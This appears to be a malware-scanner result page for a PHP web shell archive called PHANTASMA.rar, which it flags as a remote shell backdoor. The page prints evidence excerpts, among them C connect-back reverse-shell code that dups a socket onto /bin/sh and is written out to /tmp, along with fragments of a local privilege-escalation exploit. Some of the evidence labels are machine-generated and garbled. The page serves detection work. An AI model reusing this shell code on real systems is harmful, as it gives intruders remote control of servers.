Hostile ^100% The-Awesome-And-Dangerous-collection Download

PHANTASMA.rar

Contains remote shell backdoor code

Semi-Auto-generated - file PHANTASMA.php.txtText adds native shell execution

SHA-25690ba00b4f301b895e907f43d9be909d4cfab85ce45700580817f1773b1d8a4fb

Evidence

Semi-Auto-generated - file PHANTASMA.php.txt lines 84–102

⋯7 lines
91 
92  if ($safemode != "") {
93    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>";
94
95?>
⋯7 lines

Text adds a native connect call lines 219–239

13…  "    return 1;\n" .
           "  }\n" .
           "  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
           "    printf(\"[-] Unable to Connect\\n\");\n" .
           "    return 1;\n" .
           "  }\n" .
           "  printf(\"[*] Spawning Shell\\n\");\n" .
           "  f = fork( );\n" .
           "  if (f < 0) {\n" .
           "    printf(\"[-] Unable to Fork\\n\");\n" .
           "    return 1;\n" .
           "  } else if (!f) {\n" .
           "    write(sock, msg, sizeof(msg));\n" .
           "    dup2(sock, 0);\n" .
           "    dup2(sock, 1);\n" .
           "    dup2(sock, 2);\n" .
           "    execl(\"/bin/sh\", \"shell\", NULL);\n" .
           "    close(sock);\n" .
           "    return 0;\n" .
           "  }\n" .
        …

Temporary directory path reference lines 241–253

241:6…         "}\n";
242
243    $fp = fopen("/tmp/dc-connectback.c", "w");
244    $ok = fwrite($fp, $shell);
245
⋯8 lines

English function-word token "the" lines 256–261

59… .\n" .
            " *\n" .
            " * The bug was found by Paul (IhaQueR) Starzetz <[email protected]>\n" .
            " *\n" .
            " * Further research and exploit development by\n" .
            " * Wojciech Purczynski <[email protected]> and Paul Star …

Text adds native shell execution lines 500–504

24… ar * argv[] = { _PATH_BSHELL, NULL };\n" .
            "      execve(_PATH_BSHELL, argv, environ);\n" .
            "      fatal(\"Unable to spawn shell\\n\");\n" .
            "}\n" .
       …

No evidence locations were recorded for this file. Raw result